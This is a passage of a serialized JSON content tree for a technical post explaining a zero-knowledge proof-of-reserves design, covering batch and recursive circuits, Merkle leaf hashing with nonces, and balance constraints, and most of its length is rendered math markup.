prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":101,"props":99606,"children":99607},{},[99608,99613,99615,99620,99622,99627,99629,99634],{"type":24,"tag":213,"props":99609,"children":99610},{},[99611],{"type":29,"value":99612},"Small-proofs",{"type":29,"value":99614},": We were able to reduce the final proof to less than ",{"type":24,"tag":213,"props":99616,"children":99617},{},[99618],{"type":29,"value":99619},"500KB",{"type":29,"value":99621}," and each inclusion proof to ",{"type":24,"tag":213,"props":99623,"children":99624},{},[99625],{"type":29,"value":99626},"~52KB",{"type":29,"value":99628},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":213,"props":99630,"children":99631},{},[99632],{"type":29,"value":99633},"200MB",{"type":29,"value":99635}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":101,"props":99637,"children":99638},{},[99639,99644],{"type":24,"tag":213,"props":99640,"children":99641},{},[99642],{"type":29,"value":99643},"Privacy",{"type":29,"value":99645},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":62,"props":99647,"children":99649},{"id":99648},"zk-circuits",[99650],{"type":29,"value":99651},"ZK Circuits",{"type":24,"tag":25,"props":99653,"children":99654},{},[99655],{"type":29,"value":99656},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":3834,"props":99658,"children":99659},{},[99660,99665],{"type":24,"tag":101,"props":99661,"children":99662},{},[99663],{"type":29,"value":99664},"Batch circuit",{"type":24,"tag":101,"props":99666,"children":99667},{},[99668],{"type":29,"value":99669},"Recursive circuit",{"type":24,"tag":25,"props":99671,"children":99672},{},[99673],{"type":29,"value":99674},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":99676,"children":99677},{},[99678],{"type":24,"tag":74,"props":99679,"children":99681},{"alt":76,"src":99680},"/posts/por/batch-circuit.png",[],{"type":24,"tag":10670,"props":99683,"children":99684},{},[99685],{"type":24,"tag":25,"props":99686,"children":99687},{},[99688,99690,99696,99698,99704],{"type":29,"value":99689},"Note: We are using 512 as ",{"type":24,"tag":135,"props":99691,"children":99693},{"className":99692},[],[99694],{"type":29,"value":99695},"BATCH_SIZE",{"type":29,"value":99697}," and 8 as ",{"type":24,"tag":135,"props":99699,"children":99701},{"className":99700},[],[99702],{"type":29,"value":99703},"RECURSIVE_SIZE",{"type":29,"value":99705}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":10670,"props":99707,"children":99708},{},[99709],{"type":24,"tag":25,"props":99710,"children":99711},{},[99712],{"type":29,"value":99713},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":99715,"children":99716},{},[99717],{"type":29,"value":99718},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":85,"props":99720,"children":99722},{"id":99721},"leaf-nodes",[99723],{"type":29,"value":99724},"Leaf Nodes",{"type":24,"tag":25,"props":99726,"children":99727},{},[99728],{"type":29,"value":99729},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":99731,"children":99732},{},[99733],{"type":24,"tag":135,"props":99734,"children":99736},{"className":99735},[11705,11706],[99737],{"type":24,"tag":271,"props":99738,"children":99740},{"className":99739},[11711],[99741],{"type":24,"tag":271,"props":99742,"children":99744},{"className":99743,"ariaHidden":5670},[11716],[99745,99772],{"type":24,"tag":271,"props":99746,"children":99748},{"className":99747},[11721],[99749,99754,99759,99763,99768],{"type":24,"tag":271,"props":99750,"children":99753},{"className":99751,"style":99752},[11726],"height:0.6944em;",[],{"type":24,"tag":271,"props":99755,"children":99757},{"className":99756},[11732,29273],[99758],{"type":29,"value":91135},{"type":24,"tag":271,"props":99760,"children":99762},{"className":99761,"style":11908},[11810],[],{"type":24,"tag":271,"props":99764,"children":99766},{"className":99765},[11913],[99767],{"type":29,"value":762},{"type":24,"tag":271,"props":99769,"children":99771},{"className":99770,"style":11908},[11810],[],{"type":24,"tag":271,"props":99773,"children":99775},{"className":99774},[11721],[99776,99781,99786,99792,99797,99802,99808,99813,99818,99823,99829,99834,99840,99846,99853,99859,99865,99925,99930,99936,99941,99946,99951,99956,99961,99966,99971,99976,99981,100038,100043,100048,100053,100058,100063,100068,100075,100080,100086,100091,100097,100103,100108,100113,100118,100123,100128,100133,100138,100143,100148,100153,100158,100163,100168,100173],{"type":24,"tag":271,"props":99777,"children":99780},{"className":99778,"style":99779},[11726],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":271,"props":99782,"children":99784},{"className":99783,"style":29274},[11732,29273],[99785],{"type":29,"value":29277},{"type":24,"tag":271,"props":99787,"children":99789},{"className":99788},[11732,29273],[99790],{"type":29,"value":99791},"ose",{"type":24,"tag":271,"props":99793,"children":99795},{"className":99794},[11732,29273],[99796],{"type":29,"value":11462},{"type":24,"tag":271,"props":99798,"children":99800},{"className":99799},[11732,29273],[99801],{"type":29,"value":77352},{"type":24,"tag":271,"props":99803,"children":99805},{"className":99804},[11732,29273],[99806],{"type":29,"value":99807},"o",{"type":24,"tag":271,"props":99809,"children":99811},{"className":99810},[11732,29273],[99812],{"type":29,"value":6054},{"type":24,"tag":271,"props":99814,"children":99816},{"className":99815},[29402],[99817],{"type":29,"value":606},{"type":24,"tag":271,"props":99819,"children":99821},{"className":99820},[11732,29273],[99822],{"type":29,"value":32},{"type":24,"tag":271,"props":99824,"children":99826},{"className":99825},[11732,29273],[99827],{"type":29,"value":99828},"sse",{"type":24,"tag":271,"props":99830,"children":99832},{"className":99831},[11732,29273],[99833],{"type":29,"value":29415},{"type":24,"tag":271,"props":99835,"children":99838},{"className":99836,"style":99837},[11732],"margin-right:0.02778em;",[99839],{"type":29,"value":10818},{"type":24,"tag":271,"props":99841,"children":99843},{"className":99842},[11732,29273],[99844],{"type":29,"value":99845},"ba",{"type":24,"tag":271,"props":99847,"children":99850},{"className":99848,"style":99849},[11732,29273],"margin-right:0.01968em;",[99851],{"type":29,"value":99852},"l",{"type":24,"tag":271,"props":99854,"children":99856},{"className":99855},[11732,29273],[99857],{"type":29,"value":99858},"an",{"type":24,"tag":271,"props":99860,"children":99862},{"className":99861},[11732,29273],[99863],{"type":29,"value":99864},"ce",{"type":24,"tag":271,"props":99866,"children":99868},{"className":99867},[11732],[99869,99874],{"type":24,"tag":271,"props":99870,"children":99872},{"className":99871},[11732,29273],[99873],{"type":29,"value":18355},{"type":24,"tag":271,"props":99875,"children":99877},{"className":99876},[11747],[99878],{"type":24,"tag":271,"props":99879,"children":99881},{"className":99880},[11752,29327],[99882,99913],{"type":24,"tag":271,"props":99883,"children":99885},{"className":99884},[11757],[99886,99908],{"type":24,"tag":271,"props":99887,"children":99890},{"className":99888,"style":99889},[11762],"height:0.3011em;",[99891],{"type":24,"tag":271,"props":99892,"children":99894},{"style":99893},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[99895,99899],{"type":24,"tag":271,"props":99896,"children":99898},{"className":99897,"style":11772},[11771],[],{"type":24,"tag":271,"props":99900,"children":99902},{"className":99901},[11777,11778,11779,11780],[99903],{"type":24,"tag":271,"props":99904,"children":99906},{"className":99905},[11732,11780],[99907],{"type":29,"value":4121},{"type":24,"tag":271,"props":99909,"children":99911},{"className":99910},[29430],[99912],{"type":29,"value":29433},{"type":24,"tag":271,"props":99914,"children":99916},{"className":99915},[11757],[99917],{"type":24,"tag":271,"props":99918,"children":99921},{"className":99919,"style":99920},[11762],"height:0.15em;",[99922],{"type":24,"tag":271,"props":99923,"children":99924},{},[],{"type":24,"tag":271,"props":99926,"children":99928},{"className":99927},[11810],[99929],{"type":29,"value":29374},{"type":24,"tag":271,"props":99931,"children":99933},{"className":99932},[11732],[99934],{"type":29,"value":99935},"∣∣",{"type":24,"tag":271,"props":99937,"children":99939},{"className":99938},[11810],[99940],{"type":29,"value":29374},{"type":24,"tag":271,"props":99942,"children":99944},{"className":99943},[11732,29273],[99945],{"type":29,"value":32},{"type":24,"tag":271,"props":99947,"children":99949},{"className":99948},[11732,29273],[99950],{"type":29,"value":99828},{"type":24,"tag":271,"props":99952,"children":99954},{"className":99953},[11732,29273],[99955],{"type":29,"value":29415},{"type":24,"tag":271,"props":99957,"children":99959},{"className":99958,"style":99837},[11732],[99960],{"type":29,"value":10818},{"type":24,"tag":271,"props":99962,"children":99964},{"className":99963},[11732,29273],[99965],{"type":29,"value":99845},{"type":24,"tag":271,"props":99967,"children":99969},{"className":99968,"style":99849},[11732,29273],[99970],{"type":29,"value":99852},{"type":24,"tag":271,"props":99972,"children":99974},{"className":99973},[11732,29273],[99975],{"type":29,"value":99858},{"type":24,"tag":271,"props":99977,"children":99979},{"className":99978},[11732,29273],[99980],{"type":29,"value":99864},{"type":24,"tag":271,"props":99982,"children":99984},{"className":99983},[11732],[99985,99990],{"type":24,"tag":271,"props":99986,"children":99988},{"className":99987},[11732,29273],[99989],{"type":29,"value":18355},{"type":24,"tag":271,"props":99991,"children":99993},{"className":99992},[11747],[99994],{"type":24,"tag":271,"props":99995,"children":99997},{"className":99996},[11752,29327],[99998,100027],{"type":24,"tag":271,"props":99999,"children":100001},{"className":100000},[11757],[100002,100022],{"type":24,"tag":271,"props":100003,"children":100005},{"className":100004,"style":99889},[11762],[100006],{"type":24,"tag":271,"props":100007,"children":100008},{"style":99893},[100009,100013],{"type":24,"tag":271,"props":100010,"children":100012},{"className":100011,"style":11772},[11771],[],{"type":24,"tag":271,"props":100014,"children":100016},{"className":100015},[11777,11778,11779,11780],[100017],{"type":24,"tag":271,"props":100018,"children":100020},{"className":100019},[11732,11780],[100021],{"type":29,"value":156},{"type":24,"tag":271,"props":100023,"children":100025},{"className":100024},[29430],[100026],{"type":29,"value":29433},{"type":24,"tag":271,"props":100028,"children":100030},{"className":100029},[11757],[100031],{"type":24,"tag":271,"props":100032,"children":100034},{"className":100033,"style":99920},[11762],[100035],{"type":24,"tag":271,"props":100036,"children":100037},{},[],{"type":24,"tag":271,"props":100039,"children":100041},{"className":100040},[11810],[100042],{"type":29,"value":29374},{"type":24,"tag":271,"props":100044,"children":100046},{"className":100045},[11732],[100047],{"type":29,"value":17298},{"type":24,"tag":271,"props":100049,"children":100051},{"className":100050},[11810],[100052],{"type":29,"value":29374},{"type":24,"tag":271,"props":100054,"children":100056},{"className":100055},[11732],[100057],{"type":29,"value":99935},{"type":24,"tag":271,"props":100059,"children":100061},{"className":100060},[11810],[100062],{"type":29,"value":29374},{"type":24,"tag":271,"props":100064,"children":100066},{"className":100065,"style":29732},[11732,29273],[100067],{"type":29,"value":29735},{"type":24,"tag":271,"props":100069,"children":100072},{"className":100070,"style":100071},[11732,29273],"margin-right:0.08125em;",[100073],{"type":29,"value":100074},"H",{"type":24,"tag":271,"props":100076,"children":100078},{"className":100077},[11732,29273],[100079],{"type":29,"value":83557},{"type":24,"tag":271,"props":100081,"children":100083},{"className":100082},[11732],[100084],{"type":29,"value":100085},"256",{"type":24,"tag":271,"props":100087,"children":100089},{"className":100088},[29402],[100090],{"type":29,"value":606},{"type":24,"tag":271,"props":100092,"children":100094},{"className":100093},[11732,29273],[100095],{"type":29,"value":100096},"u",{"type":24,"tag":271,"props":100098,"children":100100},{"className":100099,"style":99837},[11732,29273],[100101],{"type":29,"value":100102},"ser",{"type":24,"tag":271,"props":100104,"children":100106},{"className":100105,"style":99837},[11732],[100107],{"type":29,"value":10818},{"type":24,"tag":271,"props":100109,"children":100111},{"className":100110},[11732,29273],[100112],{"type":29,"value":11462},{"type":24,"tag":271,"props":100114,"children":100116},{"className":100115},[11732,29273],[100117],{"type":29,"value":77352},{"type":24,"tag":271,"props":100119,"children":100121},{"className":100120},[29424],[100122],{"type":29,"value":2693},{"type":24,"tag":271,"props":100124,"children":100126},{"className":100125},[11810],[100127],{"type":29,"value":29374},{"type":24,"tag":271,"props":100129,"children":100131},{"className":100130},[11732],[100132],{"type":29,"value":99935},{"type":24,"tag":271,"props":100134,"children":100136},{"className":100135},[11810],[100137],{"type":29,"value":29374},{"type":24,"tag":271,"props":100139,"children":100141},{"className":100140},[11732,29273],[100142],{"type":29,"value":100096},{"type":24,"tag":271,"props":100144,"children":100146},{"className":100145,"style":99837},[11732,29273],[100147],{"type":29,"value":100102},{"type":24,"tag":271,"props":100149,"children":100151},{"className":100150,"style":99837},[11732],[100152],{"type":29,"value":10818},{"type":24,"tag":271,"props":100154,"children":100156},{"className":100155},[11732,29273],[100157],{"type":29,"value":6054},{"type":24,"tag":271,"props":100159,"children":100161},{"className":100160},[11732,29273],[100162],{"type":29,"value":99807},{"type":24,"tag":271,"props":100164,"children":100166},{"className":100165},[11732,29273],[100167],{"type":29,"value":6054},{"type":24,"tag":271,"props":100169,"children":100171},{"className":100170},[11732,29273],[100172],{"type":29,"value":99864},{"type":24,"tag":271,"props":100174,"children":100176},{"className":100175},[29424],[100177],{"type":29,"value":2693},{"type":24,"tag":25,"props":100179,"children":100180},{},[100181,100183,100189],{"type":29,"value":100182},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":135,"props":100184,"children":100186},{"className":100185},[],[100187],{"type":29,"value":100188},"uuid",{"type":29,"value":100190},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":85,"props":100192,"children":100194},{"id":100193},"batch-circuit",[100195],{"type":29,"value":100196},"Batch Circuit",{"type":24,"tag":25,"props":100198,"children":100199},{},[100200],{"type":29,"value":100201},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":100203,"children":100204},{},[100205],{"type":24,"tag":213,"props":100206,"children":100207},{},[100208],{"type":29,"value":100209},"Public Inputs",{"type":24,"tag":97,"props":100211,"children":100212},{},[100213,100218,100223],{"type":24,"tag":101,"props":100214,"children":100215},{},[100216],{"type":29,"value":100217},"Asset prices in USD",{"type":24,"tag":101,"props":100219,"children":100220},{},[100221],{"type":29,"value":100222},"Merkle tree hash",{"type":24,"tag":101,"props":100224,"children":100225},{},[100226],{"type":29,"value":100227},"Summed asset balances",{"type":24,"tag":25,"props":100229,"children":100230},{},[100231],{"type":24,"tag":213,"props":100232,"children":100233},{},[100234],{"type":29,"value":100235},"Private Inputs",{"type":24,"tag":97,"props":100237,"children":100238},{},[100239,100244],{"type":24,"tag":101,"props":100240,"children":100241},{},[100242],{"type":29,"value":100243},"Users balances",{"type":24,"tag":101,"props":100245,"children":100246},{},[100247],{"type":29,"value":100248},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":100250,"children":100251},{},[100252],{"type":24,"tag":213,"props":100253,"children":100254},{},[100255],{"type":29,"value":100256},"Constraints",{"type":24,"tag":97,"props":100258,"children":100259},{},[100260,100713,100881,101228,101626],{"type":24,"tag":101,"props":100261,"children":100262},{},[100263],{"type":24,"tag":135,"props":100264,"children":100266},{"className":100265},[11705,11706],[100267],{"type":24,"tag":271,"props":100268,"children":100270},{"className":100269},[11711],[100271],{"type":24,"tag":271,"props":100272,"children":100274},{"className":100273,"ariaHidden":5670},[11716],[100275,100414,100618],{"type":24,"tag":271,"props":100276,"children":100278},{"className":100277},[11721],[100279,100284,100289,100295,100300,100305,100310,100315,100320,100327,100332,100337,100342,100401,100405,100410],{"type":24,"tag":271,"props":100280,"children":100283},{"className":100281,"style":100282},[11726],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":271,"props":100285,"children":100287},{"className":100286},[11732,29273],[100288],{"type":29,"value":32},{"type":24,"tag":271,"props":100290,"children":100292},{"className":100291},[11732,29273],[100293],{"type":29,"value":100294},"cco",{"type":24,"tag":271,"props":100296,"children":100298},{"className":100297},[11732,29273],[100299],{"type":29,"value":100096},{"type":24,"tag":271,"props":100301,"children":100303},{"className":100302},[11732,29273],[100304],{"type":29,"value":6054},{"type":24,"tag":271,"props":100306,"children":100308},{"className":100307},[11732,29273],[100309],{"type":29,"value":29415},{"type":24,"tag":271,"props":100311,"children":100313},{"className":100312,"style":99837},[11732],[100314],{"type":29,"value":10818},{"type":24,"tag":271,"props":100316,"children":100318},{"className":100317},[11732,29273],[100319],{"type":29,"value":1026},{"type":24,"tag":271,"props":100321,"children":100324},{"className":100322,"style":100323},[11732,29273],"margin-right:0.03588em;",[100325],{"type":29,"value":100326},"q",{"type":24,"tag":271,"props":100328,"children":100330},{"className":100329},[11732,29273],[100331],{"type":29,"value":100096},{"type":24,"tag":271,"props":100333,"children":100335},{"className":100334},[11732,29273],[100336],{"type":29,"value":11462},{"type":24,"tag":271,"props":100338,"children":100340},{"className":100339},[11732,29273],[100341],{"type":29,"value":29415},{"type":24,"tag":271,"props":100343,"children":100345},{"className":100344},[11732],[100346,100351],{"type":24,"tag":271,"props":100347,"children":100349},{"className":100348,"style":100323},[11732,29273],[100350],{"type":29,"value":10848},{"type":24,"tag":271,"props":100352,"children":100354},{"className":100353},[11747],[100355],{"type":24,"tag":271,"props":100356,"children":100358},{"className":100357},[11752,29327],[100359,100390],{"type":24,"tag":271,"props":100360,"children":100362},{"className":100361},[11757],[100363,100385],{"type":24,"tag":271,"props":100364,"children":100367},{"className":100365,"style":100366},[11762],"height:0.3117em;",[100368],{"type":24,"tag":271,"props":100369,"children":100371},{"style":100370},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[100372,100376],{"type":24,"tag":271,"props":100373,"children":100375},{"className":100374,"style":11772},[11771],[],{"type":24,"tag":271,"props":100377,"children":100379},{"className":100378},[11777,11778,11779,11780],[100380],{"type":24,"tag":271,"props":100381,"children":100383},{"className":100382},[11732,29273,11780],[100384],{"type":29,"value":11462},{"type":24,"tag":271,"props":100386,"children":100388},{"className":100387},[29430],[100389],{"type":29,"value":29433},{"type":24,"tag":271,"props":100391,"children":100393},{"className":100392},[11757],[100394],{"type":24,"tag":271,"props":100395,"children":100397},{"className":100396,"style":99920},[11762],[100398],{"type":24,"tag":271,"props":100399,"children":100400},{},[],{"type":24,"tag":271,"props":100402,"children":100404},{"className":100403,"style":11908},[11810],[],{"type":24,"tag":271,"props":100406,"children":100408},{"className":100407},[11913],[100409],{"type":29,"value":5059},{"type":24,"tag":271,"props":100411,"children":100413},{"className":100412,"style":11908},[11810],[],{"type":24,"tag":271,"props":100415,"children":100417},{"className":100416},[11721],[100418,100422,100428,100433,100438,100443,100448,100453,100458,100463,100468,100473,100478,100483,100488,100493,100498,100503,100560,100565,100570,100575,100580,100585,100590,100595,100600,100605,100609,100614],{"type":24,"tag":271,"props":100419,"children":100421},{"className":100420,"style":99779},[11726],[],{"type":24,"tag":271,"props":100423,"children":100425},{"className":100424},[11732],[100426],{"type":29,"value":100427},"Σ",{"type":24,"tag":271,"props":100429,"children":100431},{"className":100430},[11810],[100432],{"type":29,"value":29374},{"type":24,"tag":271,"props":100434,"children":100436},{"className":100435},[11732,29273],[100437],{"type":29,"value":32},{"type":24,"tag":271,"props":100439,"children":100441},{"className":100440},[11732,29273],[100442],{"type":29,"value":100294},{"type":24,"tag":271,"props":100444,"children":100446},{"className":100445},[11732,29273],[100447],{"type":29,"value":100096},{"type":24,"tag":271,"props":100449,"children":100451},{"className":100450},[11732,29273],[100452],{"type":29,"value":6054},{"type":24,"tag":271,"props":100454,"children":100456},{"className":100455},[11732,29273],[100457],{"type":29,"value":29415},{"type":24,"tag":271,"props":100459,"children":100461},{"className":100460,"style":99837},[11732],[100462],{"type":29,"value":10818},{"type":24,"tag":271,"props":100464,"children":100466},{"className":100465},[11732,29273],[100467],{"type":29,"value":32},{"type":24,"tag":271,"props":100469,"children":100471},{"className":100470},[11732,29273],[100472],{"type":29,"value":99828},{"type":24,"tag":271,"props":100474,"children":100476},{"className":100475},[11732,29273],[100477],{"type":29,"value":29415},{"type":24,"tag":271,"props":100479,"children":100481},{"className":100480,"style":99837},[11732],[100482],{"type":29,"value":10818},{"type":24,"tag":271,"props":100484,"children":100486},{"className":100485},[11732,29273],[100487],{"type":29,"value":99845},{"type":24,"tag":271,"props":100489,"children":100491},{"className":100490,"style":99849},[11732,29273],[100492],{"type":29,"value":99852},{"type":24,"tag":271,"props":100494,"children":100496},{"className":100495},[11732,29273],[100497],{"type":29,"value":99858},{"type":24,"tag":271,"props":100499,"children":100501},{"className":100500},[11732,29273],[100502],{"type":29,"value":99864},{"type":24,"tag":271,"props":100504,"children":100506},{"className":100505},[11732],[100507,100512],{"type":24,"tag":271,"props":100508,"children":100510},{"className":100509},[11732,29273],[100511],{"type":29,"value":18355},{"type":24,"tag":271,"props":100513,"children":100515},{"className":100514},[11747],[100516],{"type":24,"tag":271,"props":100517,"children":100519},{"className":100518},[11752,29327],[100520,100549],{"type":24,"tag":271,"props":100521,"children":100523},{"className":100522},[11757],[100524,100544],{"type":24,"tag":271,"props":100525,"children":100527},{"className":100526,"style":100366},[11762],[100528],{"type":24,"tag":271,"props":100529,"children":100530},{"style":99893},[100531,100535],{"type":24,"tag":271,"props":100532,"children":100534},{"className":100533,"style":11772},[11771],[],{"type":24,"tag":271,"props":100536,"children":100538},{"className":100537},[11777,11778,11779,11780],[100539],{"type":24,"tag":271,"props":100540,"children":100542},{"className":100541},[11732,29273,11780],[100543],{"type":29,"value":11462},{"type":24,"tag":271,"props":100545,"children":100547},{"className":100546},[29430],[100548],{"type":29,"value":29433},{"type":24,"tag":271,"props":100550,"children":100552},{"className":100551},[11757],[100553],{"type":24,"tag":271,"props":100554,"children":100556},{"className":100555,"style":99920},[11762],[100557],{"type":24,"tag":271,"props":100558,"children":100559},{},[],{"type":24,"tag":271,"props":100561,"children":100563},{"className":100562},[29402],[100564],{"type":29,"value":4520},{"type":24,"tag":271,"props":100566,"children":100568},{"className":100567},[11732,29273],[100569],{"type":29,"value":32},{"type":24,"tag":271,"props":100571,"children":100573},{"className":100572},[11732,29273],[100574],{"type":29,"value":99828},{"type":24,"tag":271,"props":100576,"children":100578},{"className":100577},[11732,29273],[100579],{"type":29,"value":29415},{"type":24,"tag":271,"props":100581,"children":100583},{"className":100582,"style":99837},[11732],[100584],{"type":29,"value":10818},{"type":24,"tag":271,"props":100586,"children":100588},{"className":100587},[11732,29273],[100589],{"type":29,"value":6054},{"type":24,"tag":271,"props":100591,"children":100593},{"className":100592},[11732,29273],[100594],{"type":29,"value":100096},{"type":24,"tag":271,"props":100596,"children":100598},{"className":100597},[11732,29273],[100599],{"type":29,"value":689},{"type":24,"tag":271,"props":100601,"children":100603},{"className":100602},[29424],[100604],{"type":29,"value":23108},{"type":24,"tag":271,"props":100606,"children":100608},{"className":100607,"style":11811},[11810],[],{"type":24,"tag":271,"props":100610,"children":100612},{"className":100611},[11816],[100613],{"type":29,"value":11819},{"type":24,"tag":271,"props":100615,"children":100617},{"className":100616,"style":11811},[11810],[],{"type":24,"tag":271,"props":100619,"children":100621},{"className":100620},[11721],[100622,100626,100631,100636,100641,100646,100651,100657,100662,100668,100673,100678,100683,100688,100693,100698,100703,100708],{"type":24,"tag":271,"props":100623,"children":100625},{"className":100624,"style":99779},[11726],[],{"type":24,"tag":271,"props":100627,"children":100629},{"className":100628},[11732,29273],[100630],{"type":29,"value":32},{"type":24,"tag":271,"props":100632,"children":100634},{"className":100633},[11732,29273],[100635],{"type":29,"value":99828},{"type":24,"tag":271,"props":100637,"children":100639},{"className":100638},[11732,29273],[100640],{"type":29,"value":29415},{"type":24,"tag":271,"props":100642,"children":100644},{"className":100643,"style":99837},[11732],[100645],{"type":29,"value":10818},{"type":24,"tag":271,"props":100647,"children":100649},{"className":100648},[11732,29273],[100650],{"type":29,"value":25},{"type":24,"tag":271,"props":100652,"children":100654},{"className":100653,"style":99837},[11732,29273],[100655],{"type":29,"value":100656},"r",{"type":24,"tag":271,"props":100658,"children":100660},{"className":100659},[11732,29273],[100661],{"type":29,"value":11462},{"type":24,"tag":271,"props":100663,"children":100665},{"className":100664},[11732,29273],[100666],{"type":29,"value":100667},"ces",{"type":24,"tag":271,"props":100669,"children":100671},{"className":100670},[29402],[100672],{"type":29,"value":4520},{"type":24,"tag":271,"props":100674,"children":100676},{"className":100675},[11732,29273],[100677],{"type":29,"value":32},{"type":24,"tag":271,"props":100679,"children":100681},{"className":100680},[11732,29273],[100682],{"type":29,"value":99828},{"type":24,"tag":271,"props":100684,"children":100686},{"className":100685},[11732,29273],[100687],{"type":29,"value":29415},{"type":24,"tag":271,"props":100689,"children":100691},{"className":100690,"style":99837},[11732],[100692],{"type":29,"value":10818},{"type":24,"tag":271,"props":100694,"children":100696},{"className":100695},[11732,29273],[100697],{"type":29,"value":6054},{"type":24,"tag":271,"props":100699,"children":100701},{"className":100700},[11732,29273],[100702],{"type":29,"value":100096},{"type":24,"tag":271,"props":100704,"children":100706},{"className":100705},[11732,29273],[100707],{"type":29,"value":689},{"type":24,"tag":271,"props":100709,"children":100711},{"className":100710},[29424],[100712],{"type":29,"value":23108},{"type":24,"tag":101,"props":100714,"children":100715},{},[100716,100875,100876],{"type":24,"tag":135,"props":100717,"children":100719},{"className":100718},[11705,11706],[100720],{"type":24,"tag":271,"props":100721,"children":100723},{"className":100722},[11711],[100724],{"type":24,"tag":271,"props":100725,"children":100727},{"className":100726,"ariaHidden":5670},[11716],[100728,100861],{"type":24,"tag":271,"props":100729,"children":100731},{"className":100730},[11721],[100732,100736,100741,100746,100751,100756,100761,100766,100771,100776,100781,100786,100791,100848,100852,100857],{"type":24,"tag":271,"props":100733,"children":100735},{"className":100734,"style":100282},[11726],[],{"type":24,"tag":271,"props":100737,"children":100739},{"className":100738},[11732,29273],[100740],{"type":29,"value":32},{"type":24,"tag":271,"props":100742,"children":100744},{"className":100743},[11732,29273],[100745],{"type":29,"value":100294},{"type":24,"tag":271,"props":100747,"children":100749},{"className":100748},[11732,29273],[100750],{"type":29,"value":100096},{"type":24,"tag":271,"props":100752,"children":100754},{"className":100753},[11732,29273],[100755],{"type":29,"value":6054},{"type":24,"tag":271,"props":100757,"children":100759},{"className":100758},[11732,29273],[100760],{"type":29,"value":29415},{"type":24,"tag":271,"props":100762,"children":100764},{"className":100763,"style":99837},[11732],[100765],{"type":29,"value":10818},{"type":24,"tag":271,"props":100767,"children":100769},{"className":100768},[11732,29273],[100770],{"type":29,"value":1026},{"type":24,"tag":271,"props":100772,"children":100774},{"className":100773,"style":100323},[11732,29273],[100775],{"type":29,"value":100326},{"type":24,"tag":271,"props":100777,"children":100779},{"className":100778},[11732,29273],[100780],{"type":29,"value":100096},{"type":24,"tag":271,"props":100782,"children":100784},{"className":100783},[11732,29273],[100785],{"type":29,"value":11462},{"type":24,"tag":271,"props":100787,"children":100789},{"className":100788},[11732,29273],[100790],{"type":29,"value":29415},{"type":24,"tag":271,"props":100792,"children":100794},{"className":100793},[11732],[100795,100800],{"type":24,"tag":271,"props":100796,"children":100798},{"className":100797,"style":100323},[11732,29273],[100799],{"type":29,"value":10848},{"type":24,"tag":271,"props":100801,"children":100803},{"className":100802},[11747],[100804],{"type":24,"tag":271,"props":100805,"children":100807},{"className":100806},[11752,29327],[100808,100837],{"type":24,"tag":271,"props":100809,"children":100811},{"className":100810},[11757],[100812,100832],{"type":24,"tag":271,"props":100813,"children":100815},{"className":100814,"style":100366},[11762],[100816],{"type":24,"tag":271,"props":100817,"children":100818},{"style":100370},[100819,100823],{"type":24,"tag":271,"props":100820,"children":100822},{"className":100821,"style":11772},[11771],[],{"type":24,"tag":271,"props":100824,"children":100826},{"className":100825},[11777,11778,11779,11780],[100827],{"type":24,"tag":271,"props":100828,"children":100830},{"className":100829},[11732,29273,11780],[100831],{"type":29,"value":11462},{"type":24,"tag":271,"props":100833,"children":100835},{"className":100834},[29430],[100836],{"type":29,"value":29433},{"type":24,"tag":271,"props":100838,"children":100840},{"className":100839},[11757],[100841],{"type":24,"tag":271,"props":100842,"children":100844},{"className":100843,"style":99920},[11762],[100845],{"type":24,"tag":271,"props":100846,"children":100847},{},[],{"type":24,"tag":271,"props":100849,"children":100851},{"className":100850,"style":11908},[11810],[],{"type":24,"tag":271,"props":100853,"children":100855},{"className":100854},[11913],[100856],{"type":29,"value":17648},{"type":24,"tag":271,"props":100858,"children":100860},{"className":100859,"style":11908},[11810],[],{"type":24,"tag":271,"props":100862,"children":100864},{"className":100863},[11721],[100865,100870],{"type":24,"tag":271,"props":100866,"children":100869},{"className":100867,"style":100868},[11726],"height:0.6444em;",[],{"type":24,"tag":271,"props":100871,"children":100873},{"className":100872},[11732],[100874],{"type":29,"value":4121},{"type":29,"value":3360},{"type":24,"tag":213,"props":100877,"children":100878},{},[100879],{"type":29,"value":100880},"(non-negativity)",{"type":24,"tag":101,"props":100882,"children":100883},{},[100884,101222,101223],{"type":24,"tag":135,"props":100885,"children":100887},{"className":100886},[11705,11706],[100888],{"type":24,"tag":271,"props":100889,"children":100891},{"className":100890},[11711],[100892],{"type":24,"tag":271,"props":100893,"children":100895},{"className":100894,"ariaHidden":5670},[11716],[100896,101032],{"type":24,"tag":271,"props":100897,"children":100899},{"className":100898},[11721],[100900,100904,100909,100914,100919,100924,100929,100934,100939,100944,100949,100954,100959,100964,100969,100974,100979,100984,100989,100994,100999,101004,101009,101014,101019,101023,101028],{"type":24,"tag":271,"props":100901,"children":100903},{"className":100902,"style":99779},[11726],[],{"type":24,"tag":271,"props":100905,"children":100907},{"className":100906},[11732,29273],[100908],{"type":29,"value":29415},{"type":24,"tag":271,"props":100910,"children":100912},{"className":100911},[11732,29273],[100913],{"type":29,"value":99807},{"type":24,"tag":271